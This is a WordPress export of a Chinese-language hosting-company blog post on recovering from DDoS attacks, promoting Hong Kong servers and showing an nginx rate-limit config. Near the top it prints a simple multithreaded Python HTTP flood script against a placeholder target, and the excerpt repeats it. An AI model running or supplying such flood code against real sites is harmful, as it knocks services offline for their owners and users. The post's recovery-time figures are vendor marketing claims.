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{"id":15446,"date":"2024-09-03T11:56:06","date_gmt":"2024-09-03T03:56:06","guid":{"rendered":"https:\/\/www.simcentric.com\/uncategorized-sc\/how-long-to-recover-a-website-after-a-ddos-attack\/"},"modified":"2024-09-03T12:04:42","modified_gmt":"2024-09-03T04:04:42","slug":"how-long-to-recover-a-website-after-a-ddos-attack","status":"publish","type":"post","link":"https:\/\/www.simcentric.com\/sc\/hong-kong-dedicated-server-sc\/how-long-to-recover-a-website-after-a-ddos-attack\/","title":{"rendered":"DDoS\u653b\u51fb\u540e\u7f51\u7ad9\u6062\u590d\u9700\u8981\u591a\u957f\u65f6\u95f4\uff1f"},"content":{"rendered":"<div class=\"wpb-content-wrapper\"><p>[vc_row el_class=&#8221;blog-detail-section&#8221;][vc_column][vc_column_text]\u5728\u4e0d\u65ad\u6f14\u53d8\u7684\u7f51\u7edc\u5b89\u5168\u73af\u5883\u4e2d\uff0c<a href=\"https:\/\/www.simcentric.com\/sc\/hong-kong-dedicated-server-sc\/how-do-ddos-attacks-evade-detection\/\" target=\"_blank\" rel=\"noopener\">\u5206\u5e03\u5f0f\u62d2\u7edd\u670d\u52a1\uff08DDoS\uff09\u653b\u51fb<\/a>\u4ecd\u7136\u662f\u5bf9\u5728\u7ebf\u5e73\u53f0\u7684\u6301\u7eed\u5a01\u80c1\u3002\u5bf9\u4e8e\u7ba1\u7406\u5173\u952e\u57fa\u7840\u8bbe\u65bd\u7684\u6280\u672f\u7cbe\u901a\u7684\u4e13\u4e1a\u4eba\u58eb\u6765\u8bf4\uff0c\u4e86\u89e3DDoS\u6062\u590d\u7684\u590d\u6742\u6027\u81f3\u5173\u91cd\u8981\u3002\u672c\u6307\u5357\u6df1\u5165\u63a2\u8ba8\u4e86DDoS\u653b\u51fb\u6062\u590d\u65f6\u95f4\u7684\u7ec6\u8282\uff0c\u7279\u522b\u5173\u6ce8\u4e86<a href=\"https:\/\/www.simcentric.com\/sc\/\" target=\"_blank\" rel=\"noopener\">\u9999\u6e2f\u670d\u52a1\u5668<\/a>\u63d0\u4f9b\u7684\u6062\u590d\u80fd\u529b\u3002<\/p>\n<h2><strong>\u89e3\u7801DDoS\uff1a\u6570\u5b57\u6d77\u5578<\/strong><\/h2>\n<p>\u5728\u6211\u4eec\u6df1\u5165\u63a2\u8ba8\u6062\u590d\u65f6\u95f4\u4e4b\u524d\uff0c\u8ba9\u6211\u4eec\u5148\u6765\u5206\u6790\u4e00\u4e0bDDoS\u653b\u51fb\u7684\u5185\u5bb9\u3002\u60f3\u8c61\u4e00\u4e0b\uff0c\u4e00\u573a\u6570\u5b57\u6d77\u5578\u7528\u6076\u610f\u6d41\u91cf\u6df9\u6ca1\u4e86\u60a8\u7684\u670d\u52a1\u5668\uff0c\u4f7f\u5408\u6cd5\u7528\u6237\u65e0\u6cd5\u8bbf\u95ee\u3002\u8fd9\u4e9b\u653b\u51fb\u7684\u590d\u6742\u7a0b\u5ea6\u5404\u4e0d\u76f8\u540c\uff0c\u4ece\u7b80\u5355\u7684\u5bb9\u91cf\u653b\u51fb\u5230\u590d\u6742\u7684\u5e94\u7528\u5c42\u653b\u51fb\u3002<\/p>\n<pre><code>\r\n# \u6a21\u62df\u57fa\u672cDDoS\u653b\u51fb\u7684\u7b80\u5355Python\u811a\u672c\uff08\u4ec5\u7528\u4e8e\u6559\u80b2\u76ee\u7684\uff09\r\nimport socket\r\nimport threading\r\n\r\ntarget = 'target_ip'\r\nport = 80\r\nfake_ip = '182.21.20.32'\r\n\r\ndef attack():\r\n    while True:\r\n        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n        s.connect((target, port))\r\n        s.sendto((\"GET \/\" + target + \" HTTP\/1.1\\r\\n\").encode('ascii'), (target, port))\r\n        s.sendto((\"Host: \" + fake_ip + \"\\r\\n\\r\\n\").encode('ascii'), (target, port))\r\n        s.close()\r\n\r\nfor i in range(500):\r\n    thread = threading.Thread(target=attack)\r\n    thread.start()\r\n    <\/code><\/pre>\n<p>\u8fd9\u4e2a\u811a\u672c\u867d\u7136\u7b80\u5355\uff0c\u4f46\u8bf4\u660e\u4e86DDoS\u653b\u51fb\u80cc\u540e\u7684\u57fa\u672c\u6982\u5ff5\u3002\u5728\u73b0\u5b9e\u4e16\u754c\u7684\u573a\u666f\u4e2d\uff0c\u653b\u51fb\u8005\u4f7f\u7528\u66f4\u52a0\u590d\u6742\u7684\u65b9\u6cd5\uff0c\u901a\u5e38\u5229\u7528\u50f5\u5c38\u7f51\u7edc\u5e76\u5229\u7528\u534f\u8bae\u4e2d\u7684\u6f0f\u6d1e\u3002<\/p>\n<hr \/>\n<h2><\/h2>\n<h2><strong>\u9999\u6e2f\u4f18\u52bf\uff1a\u4e3a\u4ec0\u4e48\u4f4d\u7f6e\u5f88\u91cd\u8981<\/strong><\/h2>\n<p>\u9999\u6e2f\u7684\u6218\u7565\u4f4d\u7f6e\u548c\u5148\u8fdb\u7684\u6570\u5b57\u57fa\u7840\u8bbe\u65bd\u4f7f\u5176\u6210\u4e3a\u670d\u52a1\u5668\u79df\u7528\u670d\u52a1\u7684\u7406\u60f3\u4e2d\u5fc3\u3002\u5728DDoS\u6062\u590d\u80fd\u529b\u65b9\u9762\uff0c\u9999\u6e2f\u670d\u52a1\u5668\u63d0\u4f9b\u4e86\u51e0\u4e2a\u5173\u952e\u4f18\u52bf\uff1a<\/p>\n<ul>\n<li>\u9760\u8fd1\u4e3b\u8981\u4e9a\u6d32\u5e02\u573a\uff0c\u51cf\u5c11\u5ef6\u8fdf<\/li>\n<li>\u5148\u8fdb\u7684\u5149\u7ea4\u7f51\u7edc\uff0c\u5177\u6709\u9ad8\u5e26\u5bbd\u5bb9\u91cf<\/li>\n<li>\u4e25\u683c\u7684\u6570\u636e\u4fdd\u62a4\u6cd5\u5f8b\uff0c\u63d0\u9ad8\u6574\u4f53\u5b89\u5168\u6027<\/li>\n<li>\u83b7\u5f97\u6700\u5148\u8fdb\u7684DDoS\u7f13\u89e3\u6280\u672f<\/li>\n<\/ul>\n<hr \/>\n<h2><\/h2>\n<h2><strong>\u6062\u590d\u65f6\u95f4\u56e0\u7d20\uff1a\u89e3\u5f00\u590d\u6742\u6027<\/strong><\/h2>\n<p>\u7f51\u7ad9\u4eceDDoS\u653b\u51fb\u4e2d\u6062\u590d\u6240\u9700\u7684\u65f6\u95f4\u5e76\u975e\u4e00\u5200\u5207\u7684\u6307\u6807\u3002\u51e0\u4e2a\u56e0\u7d20\u4f1a\u5f71\u54cd\u6062\u590d\u65f6\u95f4\uff1a<\/p>\n<ol>\n<li>\u653b\u51fb\u89c4\u6a21\uff1a\u5bb9\u91cf\u653b\u51fb\u53ef\u4ee5\u4ece\u51e0Gbps\u5230\u5927\u89c4\u6a21\u7684TB\u7ea7\u653b\u51fb\u3002<\/li>\n<li>\u653b\u51fb\u590d\u6742\u6027\uff1a\u9488\u5bf9\u5e94\u7528\u7a0b\u5e8f\u6f0f\u6d1e\u7684\u7b2c7\u5c42\u653b\u51fb\u53ef\u80fd\u66f4\u96be\u7f13\u89e3\u3002<\/li>\n<li>\u57fa\u7840\u8bbe\u65bd\u6062\u590d\u80fd\u529b\uff1a\u60a8\u7684\u670d\u52a1\u5668\u548c\u7f51\u7edc\u8bbe\u7f6e\u7684\u7a33\u5065\u6027\u8d77\u7740\u5173\u952e\u4f5c\u7528\u3002<\/li>\n<li>\u7f13\u89e3\u63aa\u65bd\uff1a\u9884\u5148\u5b58\u5728\u7684DDoS\u4fdd\u62a4\u89e3\u51b3\u65b9\u6848\u53ef\u4ee5\u663e\u8457\u51cf\u5c11\u6062\u590d\u65f6\u95f4\u3002<\/li>\n<li>\u4e8b\u4ef6\u54cd\u5e94\u6548\u7387\uff1a\u8bad\u7ec3\u6709\u7d20\u7684\u56e2\u961f\u53ef\u4ee5\u5728\u5feb\u901f\u6062\u590d\u65b9\u9762\u4ea7\u751f\u5de8\u5927\u5dee\u5f02\u3002<\/li>\n<\/ol>\n<hr \/>\n<h2><\/h2>\n<h2><strong>\u6570\u636e\u5206\u6790\uff1a\u9884\u4f30\u6062\u590d\u65f6\u95f4<\/strong><\/h2>\n<p>\u867d\u7136\u786e\u5207\u7684\u6062\u590d\u65f6\u95f4\u53ef\u80fd\u4f1a\u6709\u6240\u4e0d\u540c\uff0c\u4f46\u4ee5\u4e0b\u662f\u57fa\u4e8e\u653b\u51fb\u4e25\u91cd\u7a0b\u5ea6\u7684\u4e00\u822c\u5206\u7c7b\uff1a<\/p>\n<style>\n    table {<br \/>        border-collapse: collapse;<br \/>        width: 100%;<br \/>    }<br \/>    th, td {<br \/>        border: 1px solid black;<br \/>        padding: 8px;<br \/>        text-align: left;<br \/>    }<br \/>    th {<br \/>        background-color: #f2f2f2;<br \/>    }<br \/><\/style>\n<table>\n<tbody>\n<tr>\n<th>\u653b\u51fb\u4e25\u91cd\u7a0b\u5ea6<\/th>\n<th>\u5178\u578b\u6062\u590d\u65f6\u95f4<\/th>\n<th>\u4f7f\u7528\u9999\u6e2f\u670d\u52a1\u5668\u7684\u4f18\u52bf<\/th>\n<\/tr>\n<tr>\n<td>\u4f4e (1-10 Gbps)<\/td>\n<td>30\u5206\u949f &#8211; 2\u5c0f\u65f6<\/td>\n<td>15\u5206\u949f &#8211; 1\u5c0f\u65f6<\/td>\n<\/tr>\n<tr>\n<td>\u4e2d\u7b49 (10-50 Gbps)<\/td>\n<td>2 &#8211; 8\u5c0f\u65f6<\/td>\n<td>1 &#8211; 4\u5c0f\u65f6<\/td>\n<\/tr>\n<tr>\n<td>\u9ad8 (50+ Gbps)<\/td>\n<td>8 &#8211; 24\u5c0f\u65f6<\/td>\n<td>4 &#8211; 12\u5c0f\u65f6<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u8fd9\u4e9b\u4f30\u8ba1\u5047\u8bbe\u5df2\u5b9e\u65bd\u884c\u4e1a\u6807\u51c6\u7684DDoS\u7f13\u89e3\u6280\u672f\u3002\u9999\u6e2f\u670d\u52a1\u5668\u51ed\u501f\u5176\u5148\u8fdb\u7684\u57fa\u7840\u8bbe\u65bd\u548c\u9760\u8fd1\u4e3b\u8981\u4e92\u8054\u7f51\u4ea4\u6362\u70b9\u7684\u4f18\u52bf\uff0c\u6709\u53ef\u80fd\u5c06\u8fd9\u4e9b\u6062\u590d\u65f6\u95f4\u7f29\u77ed\u4e00\u534a\u3002<\/p>\n<hr \/>\n<h2><\/h2>\n<h2><strong>\u52a0\u901f\u6062\u590d\uff1a\u7ecf\u8fc7\u5b9e\u6218\u68c0\u9a8c\u7684\u7b56\u7565<\/strong><\/h2>\n<p>\u4e3a\u4e86\u6700\u5927\u9650\u5ea6\u5730\u51cf\u5c11\u505c\u673a\u65f6\u95f4\u5e76\u52a0\u5feb\u6062\u590d\u901f\u5ea6\uff0c\u8bf7\u8003\u8651\u5b9e\u65bd\u4ee5\u4e0b\u6280\u672f\u7b56\u7565\uff1a<\/p>\n<ol>\n<li>\u5b9e\u65bdAnycast DNS\uff1a\u5c06\u4f20\u5165\u6d41\u91cf\u5206\u5e03\u5230\u591a\u4e2a\u5730\u7406\u5206\u6563\u7684\u670d\u52a1\u5668\u3002<\/li>\n<li>\u5229\u7528BGP Flowspec\uff1a\u4f7f\u7528\u8fb9\u754c\u7f51\u5173\u534f\u8bae\u5728\u7f51\u7edc\u4e2d\u5feb\u901f\u4f20\u64ad\u6d41\u91cf\u8fc7\u6ee4\u89c4\u5219\u3002<\/li>\n<li>\u90e8\u7f72Web\u5e94\u7528\u9632\u706b\u5899\uff08WAF\uff09\uff1a\u901a\u8fc7\u667a\u80fd\u6d41\u91cf\u5206\u6790\u4fdd\u62a4\u514d\u53d7\u5e94\u7528\u5c42\u653b\u51fb\u3002<\/li>\n<li>\u5229\u7528\u6d41\u91cf\u6e05\u6d17\u670d\u52a1\uff1a\u5728\u6d41\u91cf\u5230\u8fbe\u60a8\u7684\u670d\u52a1\u5668\u4e4b\u524d\u901a\u8fc7\u4e13\u7528\u6e05\u6d17\u4e2d\u5fc3\u91cd\u5b9a\u5411\u6d41\u91cf\u3002<\/li>\n<li>\u5b9e\u65bd\u901f\u7387\u9650\u5236\uff1a\u4f7f\u7528nginx\u6216\u7c7b\u4f3c\u5de5\u5177\u9650\u5236\u7528\u6237\u5728\u7ed9\u5b9a\u65f6\u95f4\u5185\u53ef\u4ee5\u53d1\u51fa\u7684\u8bf7\u6c42\u6570\u91cf\u3002<\/li>\n<\/ol>\n<pre><code>\r\n# nginx\u914d\u7f6e\u793a\u4f8b\uff0c\u7528\u4e8e\u901f\u7387\u9650\u5236\r\nhttp {\r\n    limit_req_zone $binary_remote_addr zone=one:10m rate=1r\/s;\r\n\r\n    server {\r\n        location \/login\/ {\r\n            limit_req zone=one burst=5;\r\n        }\r\n    }\r\n}\r\n    <\/code><\/pre>\n<p>\u8fd9\u4e2anginx\u914d\u7f6e\u4e3a\u6bcf\u4e2aIP\u5730\u5740\u8bbe\u7f6e\u4e86\u6bcf\u79d2\u4e00\u4e2a\u8bf7\u6c42\u7684\u901f\u7387\u9650\u5236\uff0c\u5141\u8bb8\u7a81\u53d15\u4e2a\u8bf7\u6c42\u3002\u8fd9\u6837\u7684\u63aa\u65bd\u53ef\u4ee5\u663e\u8457\u7f13\u89e3\u5e94\u7528\u5c42DDoS\u653b\u51fb\u7684\u5f71\u54cd\u3002<\/p>\n<hr \/>\n<h2><\/h2>\n<h2><strong>\u9999\u6e2f\u670d\u52a1\u5668\u79df\u7528\uff1a\u9009\u62e9\u6b63\u786e\u7684\u63d0\u4f9b\u5546<\/strong><\/h2>\n<p>\u5728\u9009\u62e9\u9999\u6e2f\u7684\u670d\u52a1\u5668\u79df\u7528\u63d0\u4f9b\u5546\u65f6\uff0c\u8bf7\u8003\u8651\u4ee5\u4e0b\u5173\u952e\u56e0\u7d20\uff1a<\/p>\n<ul>\n<li>DDoS\u7f13\u89e3\u80fd\u529b\uff1a\u5bfb\u627e\u63d0\u4f9b\u5f3a\u5927\u3001\u5b9e\u65f6DDoS\u4fdd\u62a4\u7684\u63d0\u4f9b\u5546\u3002<\/li>\n<li>\u7f51\u7edc\u5bb9\u91cf\uff1a\u786e\u4fdd\u63d0\u4f9b\u5546\u6709\u8db3\u591f\u7684\u5e26\u5bbd\u6765\u5438\u6536\u5927\u89c4\u6a21\u653b\u51fb\u3002<\/li>\n<li>\u5bf9\u7b49\u5173\u7cfb\uff1a\u5177\u6709\u5e7f\u6cdb\u5bf9\u7b49\u5173\u7cfb\u7684\u63d0\u4f9b\u5546\u53ef\u4ee5\u5728\u653b\u51fb\u671f\u95f4\u63d0\u4f9b\u66f4\u597d\u7684\u6d41\u91cf\u8def\u7531\u3002<\/li>\n<li>24\/7\u6280\u672f\u652f\u6301\uff1a\u5728DDoS\u4e8b\u4ef6\u671f\u95f4\uff0c\u5feb\u901f\u54cd\u5e94\u65f6\u95f4\u81f3\u5173\u91cd\u8981\u3002<\/li>\n<li>\u5408\u89c4\u6027\u548c\u5b89\u5168\u8ba4\u8bc1\uff1a\u81f3\u5c11\u8981\u5bfb\u627eISO 27001\u548cPCI DSS\u5408\u89c4\u6027\u3002<\/li>\n<\/ul>\n<hr \/>\n<h2><\/h2>\n<h2><strong>\u4e3b\u52a8\u9632\u5fa1\uff1a\u6700\u597d\u7684\u8fdb\u653b<\/strong><\/h2>\n<p>\u867d\u7136\u5feb\u901f\u6062\u590d\u81f3\u5173\u91cd\u8981\uff0c\u4f46\u9884\u9632\u603b\u662f\u80dc\u4e8e\u6cbb\u7597\u3002\u5b9e\u65bd\u4ee5\u4e0b\u4e3b\u52a8\u63aa\u65bd\u6765\u52a0\u5f3a\u60a8\u7684\u9632\u5fa1\uff1a<\/p>\n<ol>\n<li>\u5b9a\u671f\u6e17\u900f\u6d4b\u8bd5\uff1a\u5728\u6f0f\u6d1e\u88ab\u5229\u7528\u4e4b\u524d\u8bc6\u522b\u5e76\u4fee\u8865\u5b83\u4eec\u3002<\/li>\n<li>\u6d41\u91cf\u5206\u6790\uff1a\u4f7f\u7528Wireshark\u6216tcpdump\u7b49\u5de5\u5177\u5efa\u7acb\u57fa\u7ebf\u6d41\u91cf\u6a21\u5f0f\uff0c\u5feb\u901f\u8bc6\u522b\u5f02\u5e38\u3002<\/li>\n<li>\u5b9e\u65bd\u8d44\u6e90\u6c60\uff1a\u5229\u7528\u57fa\u4e8e\u4e91\u7684\u8d44\u6e90\u5728\u653b\u51fb\u573a\u666f\u4e2d\u52a8\u6001\u6269\u5c55\u3002<\/li>\n<li>\u5b9a\u671f\u6f14\u7ec3\uff1a\u7ec3\u4e60\u60a8\u7684\u4e8b\u4ef6\u54cd\u5e94\u8ba1\u5212\uff0c\u786e\u4fdd\u5728\u6700\u9700\u8981\u65f6\u80fd\u591f\u987a\u5229\u6267\u884c\u3002<\/li>\n<\/ol>\n<hr \/>\n<h2><\/h2>\n<h2><strong>\u7ed3\u8bba\uff1a\u9762\u5bf9\u6570\u5b57\u98ce\u66b4\u65f6\u7684\u6062\u590d\u80fd\u529b<\/strong><\/h2>\n<p>\u5728\u7f51\u7edc\u5b89\u5168\u9886\u57df\uff0cDDoS\u653b\u51fb\u4ee3\u8868\u7740\u4e00\u4e2a\u5de8\u5927\u7684\u6311\u6218\u3002\u7136\u800c\uff0c\u901a\u8fc7\u6b63\u786e\u7684\u7b56\u7565\u3001\u57fa\u7840\u8bbe\u65bd\u548c\u9999\u6e2f\u5148\u8fdb\u7684\u670d\u52a1\u5668\u79df\u7528\u80fd\u529b\uff0c\u6062\u590d\u65f6\u95f4\u53ef\u4ee5\u663e\u8457\u7f29\u77ed\u3002\u901a\u8fc7\u5229\u7528\u9999\u6e2f\u670d\u52a1\u5668\u63d0\u4f9b\u7684\u72ec\u7279\u4f18\u52bf\uff0c\u5b9e\u65bd\u5f3a\u5927\u7684\u7f13\u89e3\u6280\u672f\uff0c\u5e76\u4fdd\u6301\u4e3b\u52a8\u7684\u5b89\u5168\u6001\u52bf\uff0c\u7cbe\u901a\u6280\u672f\u7684\u4e13\u4e1a\u4eba\u58eb\u53ef\u4ee5\u786e\u4fdd\u4ed6\u4eec\u7684\u6570\u5b57\u8d44\u4ea7\u5728\u9762\u5bf9\u6700\u4e25\u91cd\u7684DDoS\u653b\u51fb\u65f6\u4ecd\u7136\u4fdd\u6301\u6062\u590d\u80fd\u529b\u3002<\/p>\n<p>\u8bf7\u8bb0\u4f4f\uff0c\u5728DDoS\u7f13\u89e3\u7684\u4e16\u754c\u91cc\uff0c\u6bcf\u4e00\u79d2\u90fd\u5f88\u91cd\u8981\u3002\u660e\u667a\u5730\u9009\u62e9\u60a8\u7684\u670d\u52a1\u5668\u79df\u7528\uff0c\u5b9e\u65bd\u7eb5\u6df1\u9632\u5fa1\uff0c\u5e76\u4fdd\u6301\u8b66\u60d5\u3002\u6570\u5b57\u73af\u5883\u53ef\u80fd\u5145\u6ee1\u5a01\u80c1\uff0c\u4f46\u91c7\u53d6\u6b63\u786e\u7684\u65b9\u6cd5\uff0c\u60a8\u7684\u5728\u7ebf\u5b58\u5728\u53ef\u4ee5\u7ecf\u53d7\u4f4f\u4efb\u4f55\u98ce\u66b4\u3002[\/vc_column_text][\/vc_column][\/vc_row]<\/p>\n<\/div>","protected":false},"excerpt":{"rendered":"<p>[vc_row el_class=&#8221;blog-detail-section&#8221;][vc_column][vc_column_text]\u5728\u4e0d\u65ad\u6f14\u53d8\u7684\u7f51\u7edc\u5b89\u5168\u73af\u5883\u4e2d\uff0c\u5206\u5e03\u5f0f\u62d2\u7edd\u670d\u52a1\uff08DDoS\uff09\u653b\u51fb\u4ecd\u7136\u662f\u5bf9\u5728\u7ebf\u5e73\u53f0\u7684\u6301\u7eed\u5a01\u80c1\u3002\u5bf9\u4e8e\u7ba1\u7406\u5173\u952e\u57fa\u7840\u8bbe\u65bd\u7684\u6280\u672f\u7cbe\u901a\u7684\u4e13\u4e1a\u4eba\u58eb\u6765\u8bf4\uff0c\u4e86\u89e3DDoS\u6062\u590d\u7684\u590d\u6742\u6027\u81f3\u5173\u91cd\u8981\u3002\u672c\u6307\u5357\u6df1\u5165\u63a2\u8ba8\u4e86DDoS\u653b\u51fb\u6062\u590d\u65f6\u95f4\u7684\u7ec6\u8282\uff0c\u7279\u522b\u5173\u6ce8\u4e86\u9999\u6e2f\u670d\u52a1\u5668\u63d0\u4f9b\u7684\u6062\u590d\u80fd\u529b\u3002 \u89e3\u7801DDoS\uff1a\u6570\u5b57\u6d77\u5578 \u5728\u6211\u4eec\u6df1\u5165\u63a2\u8ba8\u6062\u590d\u65f6\u95f4\u4e4b\u524d\uff0c\u8ba9\u6211\u4eec\u5148\u6765\u5206\u6790\u4e00\u4e0bDDoS\u653b\u51fb\u7684\u5185\u5bb9\u3002\u60f3\u8c61\u4e00\u4e0b\uff0c\u4e00\u573a\u6570\u5b57\u6d77\u5578\u7528\u6076\u610f\u6d41\u91cf\u6df9\u6ca1\u4e86\u60a8\u7684\u670d\u52a1\u5668\uff0c\u4f7f\u5408\u6cd5\u7528\u6237\u65e0\u6cd5\u8bbf\u95ee\u3002\u8fd9\u4e9b\u653b\u51fb\u7684\u590d\u6742\u7a0b\u5ea6\u5404\u4e0d\u76f8\u540c\uff0c\u4ece\u7b80\u5355\u7684\u5bb9\u91cf\u653b\u51fb\u5230\u590d\u6742\u7684\u5e94\u7528\u5c42\u653b\u51fb\u3002 # \u6a21\u62df\u57fa\u672cDDoS\u653b\u51fb\u7684\u7b80\u5355Python\u811a\u672c\uff08\u4ec5\u7528\u4e8e\u6559\u80b2\u76ee\u7684\uff09 import socket import threading target = &#8216;target_ip&#8217; port = 80 fake_ip = &#8216;182.21.20.32&#8217; def attack(): while True: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.sendto((&#8220;GET \/&#8221; + target + &#8221; HTTP\/1.1\\r\\n&#8221;).encode(&#8216;ascii&#8217;), (target, port)) s.sendto((&#8220;Host: &#8221; + fake_ip + &#8220;\\r\\n\\r\\n&#8221;).encode(&#8216;ascii&#8217;), (target, port)) s.close() for i in range(500): thread = threading.Thread(target=attack) thread.start() [&#8230;]<\/p>\n<p><a class=\"btn btn-secondary understrap-read-more-link\" href=\"https:\/\/www.simcentric.com\/sc\/hong-kong-dedicated-server-sc\/how-long-to-recover-a-website-after-a-ddos-attack\/\">Read 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